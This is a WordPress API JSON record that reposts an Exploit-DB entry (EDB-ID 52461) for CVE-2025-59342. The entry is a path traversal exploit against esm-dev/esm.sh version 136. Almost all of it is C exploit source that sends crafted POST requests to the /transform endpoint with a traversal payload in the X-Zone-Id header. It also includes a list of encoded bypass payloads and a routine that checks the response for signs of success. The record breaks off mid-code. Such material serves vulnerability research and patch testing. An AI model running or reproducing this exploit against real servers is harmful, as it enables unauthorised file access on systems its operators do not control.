{"id":31285,"date":"2025-12-16T03:51:14","date_gmt":"2025-12-16T03:51:14","guid":{"rendered":"http:\/\/localhost\/?p=31285"},"modified":"2025-12-16T03:51:14","modified_gmt":"2025-12-16T03:51:14","slug":"esm-dev-136-path-traversal","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31285","title":{"rendered":"esm-dev 136 &#8211; Path Traversal_EDB-ID:52461"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T08:46:49&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: esm-dev 136 &#8211; Path Traversal Date: 2025-07-11 Exploit Author: Byte Reaper Vendor Homepage: https:\/\/github.com\/esm-dev\/esm.sh Software Link: https:\/\/github.com\/esm-dev\/esm.sh CVE-2025-59342 &#8211; File : exploit.c &#8211; Date : 09\/17\/2025 &#8211; Target&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;esm-dev 136 &#8211; Path Traversal&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52461&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59342&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title:  esm-dev 136 &#8211; Path Traversal\\r\\n# Date: 2025-07-11\\r\\n# Exploit Author: Byte Reaper \\r\\n#Vendor Homepage: https:\/\/github.com\/esm-dev\/esm.sh\\r\\n# Software Link: https:\/\/github.com\/esm-dev\/esm.sh\\r\\n# CVE-2025-59342\\r\\n &#8211; File   : exploit.c\\r\\n &#8211; Date   : 09\/17\/2025\\r\\n &#8211; Target : esm-dev\\r\\n &#8211; Version: 136\\r\\n &#8211; Target Endpoint : \/transform\\r\\n &#8211; Target Header   :  X-Zone-Id\\r\\n &#8211; Vuln : \\r\\n &#8211; Run exploit : \\r\\n            # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl\\r\\n            # .\/CVE-2025-59342\\r\\n\\r\\n#include \\u003ccurl\/curl.h\\u003e\\r\\n#include \\u003cstring.h\\u003e\\r\\n#include \\u003cstdlib.h\\u003e\\r\\n#include \\&#8221;argparse.h\\&#8221;\\r\\n#include \\u003ctime.h\\u003e\\r\\n#include \\u003cunistd.h\\u003e\\r\\n#include \\u003csys\/utsname.h\\u003e\\r\\n#define FULL_URL 2500 \\r\\n#define P_Y      2000\\r\\n#define POST_DATA 9000\\r\\nint flagPort = 0;\\r\\nint port = 80;\\r\\nint selectPort = -1;\\r\\nint verbose = 0;\\r\\nint code = 1;\\r\\nint found = 1;\\r\\nint cF = 0;\\r\\nint s = 0;\\r\\nint bY = 0;\\r\\nint sP = 0;\\r\\nconst char* cookies = NULL;\\r\\nconst char* payload = NULL;\\r\\nvoid exit64bit()\\r\\n{\\r\\n    int n = 0;\\r\\n    __asm__ volatile\\r\\n        (\\r\\n            \\&#8221;mov $0x4A, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x1, %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;test %%rax, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;jz .aD\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x0, %[var]\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;jmp .finish\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;.aD:\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x1, %[var]\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;.finish:\\\\n\\\\t\\&#8221;\\r\\n            : [var] \\&#8221;+r\\&#8221; (n)\\r\\n            :\\r\\n            : \\&#8221;rax\\&#8221;,\\r\\n            \\&#8221;rdi\\&#8221;\\r\\n            );\\r\\n    if (n == 0)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[0;31m[-] sys_fsync syscall Faild.\\\\n\\&#8221;);\\r\\n        fflush(stdout);\\r\\n    }\\r\\n    else if (n == 1)\\r\\n    {\\r\\n        printf(\\&#8221;[+] sys_fsync syscall Success.\\\\n\\&#8221;);\\r\\n    }\\r\\n\\r\\n    __asm__ volatile\\r\\n        (\\r\\n            \\&#8221;mov $0x0, %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x3C, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            :\\r\\n            :\\r\\n            : \\&#8221;rax\\&#8221;, \\r\\n              \\&#8221;rdi\\&#8221;\\r\\n        );   \\r\\n}\\r\\n\\r\\nstruct Mem\\r\\n{\\r\\n    char* buffer;\\r\\n    size_t len;\\r\\n};\\r\\nsize_t write_cb(void* ptr, size_t size, size_t nmemb, void* userdata)\\r\\n{\\r\\n    size_t total = size * nmemb;\\r\\n    struct Mem* m = (struct Mem*)userdata;\\r\\n    char* tmp = realloc(m-\\u003ebuffer, m-\\u003elen + total + 1);\\r\\n    if (!tmp) return 0;\\r\\n    m-\\u003ebuffer = tmp;\\r\\n    memcpy(\\u0026(m-\\u003ebuffer[m-\\u003elen]), ptr, total);\\r\\n    m-\\u003elen += total;\\r\\n    m-\\u003ebuffer[m-\\u003elen] = &#8216;\\\\0&#8217;;\\r\\n    return total;\\r\\n}\\r\\n\\r\\nint checkLen(int len, char* buf, size_t bufcap)\\r\\n{\\r\\n    if (len \\u003c 0 || (size_t)len \\u003e= bufcap)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[0;31m[-] Len is Long ! \\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;\\\\e[0;31m[-] Len %d\\\\e[0m\\\\n\\&#8221;, len);\\r\\n        return 1;\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[0;34m[+] Len Is Not Long.\\\\e[0m\\\\n\\&#8221;);\\r\\n        return 0;\\r\\n\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nconst char* payloads[] = \\r\\n{\\r\\n    \\&#8221;..\/\/..\/\/modules\/\/transform\/\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\/\/\\&#8221;,\\r\\n    \\&#8221;&#8230;.\/&#8230;.\/m.o.d.u.les\/transform\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\/\\&#8221;,\\r\\n    \\&#8221;..\\\\\\\\\/..\\\\\\\\\/modules\\\\\\\\\/transform\\\\\\\\\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\\\\\\\\\/\\&#8221;,\\r\\n    \\&#8221;.\/\/.\/\/m?odu?le?s\/tran.sfo.rm\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\/\\&#8221;,\\r\\n    \\&#8221;..%252f%252f..%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f\\&#8221;,\\r\\n    \\&#8221;%252e%252e%252f%252f%252e%252e%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f\\&#8221;,\\r\\n    \\&#8221;..%2f%2f..modules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f\\&#8221;,\\r\\n    \\&#8221;%2e%2e%2f%2f%2e%2emodules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f\\&#8221;,\\r\\n    \\&#8221;..%255c%255c..%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c\\&#8221;,\\r\\n    \\&#8221;%252e%252e%255c%255c%252e%252e%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c\\&#8221;,\\r\\n    \\&#8221;%u002e%u002e%u2215%u2215%u002e%u002e%u2215%u2215modules%u002e%u002etransform%u002e%u002ec245626ef6ca0fd9ee37759c5fac606c6ec99daa%u002e\\&#8221;,\\r\\n    \\&#8221;%u002e%u002e%u2216%u2216%u002e%u002e%u2216%u2216modules%u2216%u2216transform%u2216%u2216c245626ef6ca0fd9ee37759c5fac606c6ec99daa%u2216\\&#8221;,\\r\\n    \\&#8221;%e0%40%ae%e0%40%ae%e0%80%af%e0%80%af%e0%40%ae%e0%40%ae%e0%80%af%e0%80%afmodules%e0%80%af%e0%80%aftransform%e0%80%af%e0%80%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%e0%80%af\\&#8221;,\\r\\n    \\&#8221;.%00.\/\/.%00.\/\/modules\/\/transform\/\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\/\\&#8221;,\\r\\n    \\&#8221;..;\/\/..;\/\/modules\/\/transform\/\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\/\\&#8221;,\\r\\n    \\&#8221;%c0%2e%c0%2e%c0%af%c0%af%c0%2e%c0%2e%c0%af%c0%afmodules%c0%af%c0%aftransform%c0%af%c0%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%c0%af\\&#8221;,\\r\\n    NULL\\r\\n\\r\\n};\\r\\n\\r\\nstatic void request(const char *baseurl)\\r\\n{\\r\\n    CURL* curl = curl_easy_init();\\r\\n    const char *mes3 = \\&#8221;\\\\e[0;34m[+] Create Object CURL Success.\\\\n\\&#8221;;\\r\\n    const char *mes4 = \\&#8221;\\\\e[0;31m[-] Error Create Object CURL !\\\\e[0m\\\\n\\&#8221;;\\r\\n    size_t len3 = strlen(mes3);\\r\\n    size_t len4 = strlen(mes4);\\r\\n    __asm__ volatile\\r\\n        (\\r\\n            \\&#8221;cmp $0x0,    %[curlO]\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;je .donV\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;.erD:\\\\n\\\\t\\&#8221;           \\r\\n            \\&#8221;mov $0x1,    %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x1,    %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov %[msg], %%rsi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov %[len], %%rdx\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;jmp .finishC\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;.donV:\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x1,    %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x1,    %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov %[msg1], %%rsi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov %[len1], %%rdx\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;xor %%rdi,   %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x3C,   %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;.finishC:\\\\n\\\\t\\&#8221;\\r\\n            :\\r\\n            : [curlO] \\&#8221;r\\&#8221; (curl),\\r\\n              [msg]   \\&#8221;r\\&#8221; ((const char *)mes3),\\r\\n              [len]   \\&#8221;r\\&#8221; ((long)len3),\\r\\n              [msg1]  \\&#8221;r\\&#8221; ((const char*)mes4),\\r\\n              [len1]  \\&#8221;r\\&#8221; ((long)len4)\\r\\n            : \\&#8221;rax\\&#8221;,\\r\\n              \\&#8221;rdi\\&#8221;,\\r\\n              \\&#8221;rsi\\&#8221;,\\r\\n              \\&#8221;rdx\\&#8221;,\\r\\n              \\&#8221;rcx\\&#8221;,\\r\\n              \\&#8221;r11\\&#8221;,\\r\\n              \\&#8221;memory\\&#8221;\\r\\n        );\\r\\n    struct Mem response;\\r\\n    CURLcode res;\\r\\n    response.buffer = NULL;\\r\\n    response.len = 0;\\r\\n    const char* mes5 = \\&#8221;\\\\e[0;34m[+] Buffer Clean Success.\\\\e[0m\\\\n\\&#8221;;\\r\\n    size_t len5 = strlen(mes5);\\r\\n    __asm__ volatile (\\r\\n        \\&#8221;test %[buffer], %[buffer]\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;jz  L_print_clean\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;L_continue:\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;jmp L_done\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;L_print_clean:\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;mov $0x1, %%rax\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;mov $0x1, %%rdi\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;movq %[msg13], %%rsi\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;mov %[len13], %%rdx\\\\n\\\\t\\&#8221;  \\r\\n        \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;L_done:\\\\n\\\\t\\&#8221;\\r\\n        :\\r\\n        : [buffer] \\&#8221;r\\&#8221; ((const char*)response.buffer),\\r\\n        [msg13]    \\&#8221;r\\&#8221; (mes5),\\r\\n        [len13]  \\&#8221;r\\&#8221; (len5)\\r\\n        : \\&#8221;rax\\&#8221;,\\r\\n        \\&#8221;rdi\\&#8221;,\\r\\n        \\&#8221;rsi\\&#8221;,\\r\\n        \\&#8221;rdx\\&#8221;,\\r\\n        \\&#8221;rcx\\&#8221;,\\r\\n        \\&#8221;r11\\&#8221;,\\r\\n        \\&#8221;memory\\&#8221;\\r\\n        );\\r\\n    char full[FULL_URL];\\r\\n    \\r\\n\\tif (flagPort != 0)\\r\\n\\t{\\r\\n        const char* mes8 = \\&#8221;\\\\e[0;31m[-] Select Port is NULL !\\\\e[0m\\\\n\\&#8221;;\\r\\n        size_t len8 = strlen(mes8);\\r\\n        __asm__ volatile (\\r\\n            \\&#8221;test %[var22], %[var22]\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;jnz L_finish\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $1, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $1, %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov %[msg13], %%rsi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov %[len13], %%rdx\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;xor %%rdi, %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x3C, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;L_finish:\\\\n\\\\t\\&#8221;\\r\\n            :\\r\\n            : [var22] \\&#8221;r\\&#8221; (selectPort),\\r\\n              [msg13]  \\&#8221;r\\&#8221; (mes8),\\r\\n              [len13] \\&#8221;r\\&#8221; (len8)\\r\\n            : \\&#8221;rax\\&#8221;, \\r\\n              \\&#8221;rdi\\&#8221;, \\r\\n              \\&#8221;rsi\\&#8221;, \\r\\n              \\&#8221;rdx\\&#8221;, \\r\\n              \\&#8221;rcx\\&#8221;, \\r\\n              \\&#8221;r11\\&#8221;, \\r\\n              \\&#8221;memory\\&#8221;\\r\\n            );\\r\\n\\t\\tprintf(\\&#8221;\\\\e[0;34m[+] Port Select  : %d\\\\e[0m\\\\n\\&#8221;, \\r\\n            selectPort);\\r\\n\\t\\tint len1 = snprintf(full, \\r\\n            FULL_URL, \\r\\n            \\&#8221;%s:%d\/transform\\&#8221;, \\r\\n            baseurl,selectPort);\\r\\n        if (checkLen(len1, \\r\\n            full, \\r\\n            FULL_URL) == 1)\\r\\n        {\\r\\n            fprintf(stderr, \\r\\n                \\&#8221;\\\\e[0;31m[-] Error write base url !\\\\e[0m\\\\n\\&#8221;);\\r\\n            exit64bit();\\r\\n        }\\r\\n        printf(\\&#8221;\\\\e[0;34m[+] Write base URL success.\\\\e[0m\\\\n\\&#8221;);\\r\\n\\t}\\r\\n\\telse if (flagPort == 0)\\r\\n\\t{\\r\\n\\t\\tprintf(\\&#8221;\\\\e[0;34m[+] Auto port : %d\\\\e[0m\\\\n\\&#8221;, port);\\r\\n        int len2 = snprintf(full, \\r\\n            FULL_URL, \\r\\n            \\&#8221;%s:%d\/transform\\&#8221;, \\r\\n            baseurl, \\r\\n            port);\\r\\n        if (checkLen(len2, full, FULL_URL) == 1)\\r\\n        {\\r\\n            fprintf(stderr, \\r\\n                \\&#8221;\\\\e[0;31m[-] Error write base url !\\\\e[0m\\\\n\\&#8221;);\\r\\n            exit64bit();\\r\\n        }\\r\\n        printf(\\&#8221;\\\\e[0;34m[+] Write base URL success.\\\\e[0m\\\\n\\&#8221;);\\r\\n\\t}\\r\\n    printf(\\&#8221;[+] Base URL : %s\\\\n\\&#8221;, baseurl);\\r\\n    printf(\\&#8221;[+] Result full url : %s\\\\n\\&#8221;, full);\\r\\n    char post[POST_DATA];\\r\\n    int len9 = snprintf(post, POST_DATA, \\&#8221;{\\\\\\&#8221;filename\\\\\\&#8221;:\\\\\\&#8221;cve.js\\\\\\&#8221;,\\\\\\&#8221;lang\\\\\\&#8221;:\\\\\\&#8221;js\\\\\\&#8221;,\\\\\\&#8221;code\\\\\\&#8221;:\\\\\\&#8221;console.log(&#8216;Exploit!&#8217;);\\\\\\&#8221;,\\\\\\&#8221;importMap\\\\\\&#8221;:{\\\\\\&#8221;imports\\\\\\&#8221;:{\\\\\\&#8221;react\\\\\\&#8221;:\\\\\\&#8221;https:\/\/esm.sh\/react\\\\\\&#8221;,\\\\\\&#8221;react-dom\\\\\\&#8221;:\\\\\\&#8221;https:\/\/esm.sh\/react-dom\\\\\\&#8221;}},\\\\\\&#8221;jsxImportSource\\\\\\&#8221;:\\\\\\&#8221;react\\\\\\&#8221;,\\\\\\&#8221;target\\\\\\&#8221;:\\\\\\&#8221;es2022\\\\\\&#8221;,\\\\\\&#8221;sourceMap\\\\\\&#8221;:\\\\\\&#8221;external\\\\\\&#8221;,\\\\\\&#8221;minify\\\\\\&#8221;:true}\\&#8221;);\\r\\n    if (checkLen(len9, post, POST_DATA) == 1)\\r\\n    {\\r\\n        fprintf(stderr, \\r\\n            \\&#8221;[-] Error write post data !\\\\e[0m\\\\n\\&#8221;);\\r\\n        exit64bit();\\r\\n    }\\r\\n    printf(\\&#8221;\\\\e[0;34m[+] Write Post data Success.\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;\\\\e[0;35m[+] Post data :===================================\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;%s\\\\n\\&#8221;, post);\\r\\n    printf(\\&#8221;\\\\e[0;32m[+] Size : %d\\\\e[0m\\\\n\\&#8221;, POST_DATA);\\r\\n    printf(\\&#8221;\\\\e[0;32m[+] Len  : %zu\\\\e[0m\\\\n\\&#8221;, strlen(post));\\r\\n    printf(\\&#8221;\\\\e[0;35m==================================================\\\\e[0m\\\\n\\&#8221;);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_URL,\\r\\n        full);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_ACCEPT_ENCODING,\\r\\n        \\&#8221;\\&#8221;);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_FOLLOWLOCATION,\\r\\n        1L);\\r\\n    if (cF)\\r\\n    {\\r\\n\\r\\n        curl_easy_setopt(curl,\\r\\n            CURLOPT_COOKIEFILE,\\r\\n            cookies);\\r\\n        curl_easy_setopt(curl,\\r\\n            CURLOPT_COOKIEJAR,\\r\\n            cookies);\\r\\n\\r\\n    }\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_POST,\\r\\n        1L);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_POSTFIELDS,\\r\\n        post);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_POSTFIELDSIZE,\\r\\n        (long)strlen(post));\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_WRITEFUNCTION,\\r\\n        write_cb);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_WRITEDATA,\\r\\n        \\u0026response);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_CONNECTTIMEOUT,\\r\\n        5L);\\r\\n    struct timespec rqtp, rmtp;\\r\\n    rqtp.tv_sec = 1;\\r\\n    rqtp.tv_nsec = 500000000;\\r\\n    register long r10R asm(\\&#8221;r10\\&#8221;);\\r\\n    r10R = 0;\\r\\n    printf(\\&#8221;\\\\e[0;33m[+] Sleep (%ld seconds) \\u0026\\u0026 (%ld nanoseconds)&#8230;\\\\e[0m\\\\n\\&#8221;,\\r\\n        rqtp.tv_sec, rqtp.tv_nsec);\\r\\n    int ret;\\r\\n    __asm__ volatile\\r\\n        (\\r\\n            \\&#8221;syscall\\&#8221;\\r\\n            : \\&#8221;=a\\&#8221;(ret)\\r\\n            : \\&#8221;a\\&#8221;(0xE6),\\r\\n              \\&#8221;D\\&#8221;((long)0),\\r\\n              \\&#8221;S\\&#8221;((long)0),\\r\\n              \\&#8221;d\\&#8221;(\\u0026rqtp),\\r\\n              \\&#8221;r\\&#8221;(r10R)\\r\\n            : \\&#8221;rcx\\&#8221;,\\r\\n              \\&#8221;r11\\&#8221;,\\r\\n              \\&#8221;memory\\&#8221;\\r\\n            );\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_TIMEOUT,\\r\\n        10L);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_SSL_VERIFYPEER,\\r\\n        0L);\\r\\n    curl_easy_setopt(curl,\\r\\n        CURLOPT_SSL_VERIFYHOST,\\r\\n        0L);\\r\\n    struct curl_slist* headers = NULL;\\r\\n    headers = curl_slist_append(headers,\\r\\n        \\&#8221;User-Agent: Den\/8.7.1\\&#8221;);\\r\\n    headers = curl_slist_append(headers,\\r\\n        \\&#8221;Accept: *\/*\\&#8221;);\\r\\n    headers = curl_slist_append(headers,\\r\\n        \\&#8221;Connection: keep-alive\\&#8221;);\\r\\n    headers = curl_slist_append(headers,\\r\\n        \\&#8221;Content-Type: application\/json\\&#8221;);\\r\\n    headers = curl_slist_append(headers,\\r\\n        \\&#8221;Referer: http:\/\/localhost:9999\/\\&#8221;); \\r\\n    if (s!=0)\\r\\n    {\\r\\n        printf(\\&#8221;[+] Your Payload : %s\\\\n\\&#8221;, payload);\\r\\n        printf(\\&#8221;\\\\e[0;33m[+] Checking payload&#8230;\\\\n\\&#8221;);\\r\\n\\r\\n        if (strstr(payload, \\&#8221;..\/\\&#8221;) || strstr(payload, \\&#8221;..\\\\\\\\\\&#8221;)) \\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;36m[+] Detected path traversal \\\\\\&#8221;..\/\\\\\\&#8221; in payload.\\\\n\\&#8221;);\\r\\n        }\\r\\n        else \\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;31m[-] No path traversal detected. Please provide a valid payload.\\\\n\\&#8221;);\\r\\n            exit64bit();\\r\\n        }\\r\\n\\r\\n        if (strstr(payload, \\&#8221;\/transform\\&#8221;)) \\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;36m[+] Detected endpoint &#8216;\/transform&#8217; in payload.\\\\n\\&#8221;);\\r\\n        }\\r\\n        else \\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;31m[-] Endpoint &#8216;\/transform&#8217; not detected in payload!\\\\n\\&#8221;);\\r\\n            exit64bit();;\\r\\n        }\\r\\n        \\r\\n    }\\r\\n    \\r\\n    else\\r\\n    {\\r\\n        headers = curl_slist_append(headers,\\r\\n            \\&#8221;X-Zone-Id: ..\/..\/modules\/transform\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\/\\&#8221;); \/\/auto payload \\r\\n        printf(\\&#8221;[+] Auto payload ..\/..\/modules\/transform\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\/.\\\\n\\&#8221;);\\r\\n    }   \\r\\n    curl_easy_setopt(curl, \\r\\n        CURLOPT_HTTPHEADER, \\r\\n        headers);\\r\\n    if (verbose)\\r\\n    {\\r\\n        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\\r\\n    }\\r\\n    res = curl_easy_perform(curl);\\r\\n    curl_slist_free_all(headers);\\r\\n    if (res == CURLE_OK)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;36m[+] Request sent successfully\\\\e[0m\\\\n\\&#8221;);\\r\\n        long httpcode;\\r\\n        double timeT;\\r\\n        double timeR;\\r\\n        char* urlD = NULL;\\r\\n        curl_easy_getinfo(curl, \\r\\n            CURLINFO_RESPONSE_CODE,\\r\\n            \\u0026httpcode);\\r\\n        curl_easy_getinfo(curl, \\r\\n            CURLINFO_TOTAL_TIME, \\r\\n            \\u0026timeT);\\r\\n        curl_easy_getinfo(curl,\\r\\n            CURLINFO_REDIRECT_TIME,\\r\\n            \\u0026timeR);\\r\\n        curl_easy_getinfo(curl,\\r\\n            CURLINFO_REDIRECT_URL,\\r\\n            \\u0026urlD);\\r\\n        printf(\\&#8221;\\\\e[0;32m[+] Delayed response : %f\\\\e[0m\\\\n\\&#8221;, timeT);\\r\\n        printf(\\&#8221;\\\\e[0;34m[+] TIME REDIRECT: %.1f\\\\e[0m\\\\n\\&#8221;, timeR);\\r\\n        if (urlD == NULL)\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;36m[+] Not REDIRECT Found.\\\\e[0m\\\\n\\&#8221;);\\r\\n        }\\r\\n        else\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;34m[+] REDIRECT To : %s\\\\e[0m\\\\n\\&#8221;, urlD);\\r\\n        }\\r\\n        \\r\\n        printf(\\&#8221;\\\\e[0;32m[+] HTTP CODE : %ld\\\\n\\&#8221;, httpcode);\\r\\n        if (response.buffer != NULL)\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;35m=============================================== [RESPONSE] ===============================================\\\\e[0m\\\\n\\&#8221;);\\r\\n            printf(\\&#8221;%s\\\\n\\&#8221;, response.buffer);\\r\\n            printf(\\&#8221;\\\\e[0;32m[+] Size Pointer response : %d\\\\e[0m\\\\n\\&#8221;, sizeof(response.buffer));\\r\\n            printf(\\&#8221;\\\\e[0;32m[+] Len : %zu\\\\e[0m\\\\n\\&#8221;, response.len);\\r\\n            printf(\\&#8221;\\\\e[0;35m==========================================================================================================\\\\e[0m\\\\n\\&#8221;);\\r\\n        }\\r\\n        else\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;31m[-] Error show buffer : NULL response !\\\\n\\&#8221;);\\r\\n            __asm__ volatile\\r\\n            (\\r\\n                    \\&#8221;mov $0x0, %%rdi\\\\n\\\\t\\&#8221;\\r\\n                    \\&#8221;mov $0xE7, %%rax\\\\n\\\\t\\&#8221;\\r\\n                    \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n                    :\\r\\n                    :\\r\\n                    :\\&#8221;rax\\&#8221;,\\r\\n                     \\&#8221;rdi\\&#8221;\\r\\n             );\\r\\n        }\\r\\n        printf(\\&#8221;===========================================================================================================\\\\n\\&#8221;);\\r\\n        if (httpcode \\u003e= 200 \\u0026\\u0026 httpcode \\u003c 300)\\r\\n        {\\r\\n            const char* words[] = \\r\\n            {\\r\\n                \\&#8221;Exploit!\\&#8221;,\\r\\n                \\&#8221;cve.js\\&#8221;,\\r\\n                \\&#8221;mjs\\&#8221;,\\r\\n                \\&#8221;console\\&#8221;,\\r\\n                \\&#8221;code\\&#8221;,\\r\\n                \\&#8221;map\\&#8221;,\\r\\n                \\&#8221;AAAA\\&#8221;,\\r\\n                \\&#8221;IAAI\\&#8221;,\\r\\n                \\&#8221;names\\&#8221;,\\r\\n                NULL\\r\\n            };\\r\\n            printf(\\&#8221;\\\\e[0;32m[+] Http code (200 &#8211; 300)\\\\e[0m\\\\n\\&#8221;);\\r\\n            printf(\\&#8221;\\\\e[0;33m[+] Check Word in response&#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n            \\r\\n            for (int u = 0; words[u] != NULL; u++)\\r\\n            {\\r\\n                code = 1;\\r\\n                if (strstr(response.buffer, words[u]) != NULL)\\r\\n                {\\r\\n                    printf(\\&#8221;[+] Word found in response : %s\\\\n\\&#8221;,\\r\\n                        words[u]);\\r\\n                    __asm__ volatile\\r\\n                        (\\r\\n                            \\&#8221;mov $0x0, %[var12]\\\\n\\\\t\\&#8221;\\r\\n                            : [var12] \\&#8221;=r\\&#8221; (found)\\r\\n                            :\\r\\n                            :\\r\\n                            );\\r\\n                    break;\\r\\n                }\\r\\n            }\\r\\n            if (found == 0)\\r\\n            {\\r\\n                printf(\\&#8221;\\\\e[0;36m[+] Words were found in the server&#8217;s response, indicating that the exploitation was likely successful.\\\\e[0m\\\\n\\&#8221;);\\r\\n            }\\r\\n            const char *mes11 = \\&#8221;\\\\e[0;31m[-] Not found words in response !\\\\e[0m\\\\n\\&#8221;;\\r\\n            size_t len11 = strlen(mes11);\\r\\n            __asm__ volatile   \\r\\n             (\\r\\n                 \\&#8221;test %[var11], %[var11]\\\\n\\&#8221;\\r\\n                 \\&#8221;jnz notZero\\\\n\\\\t\\&#8221;\\r\\n                 \\&#8221;jmp finish11\\\\n\\\\t\\&#8221;\\r\\n                 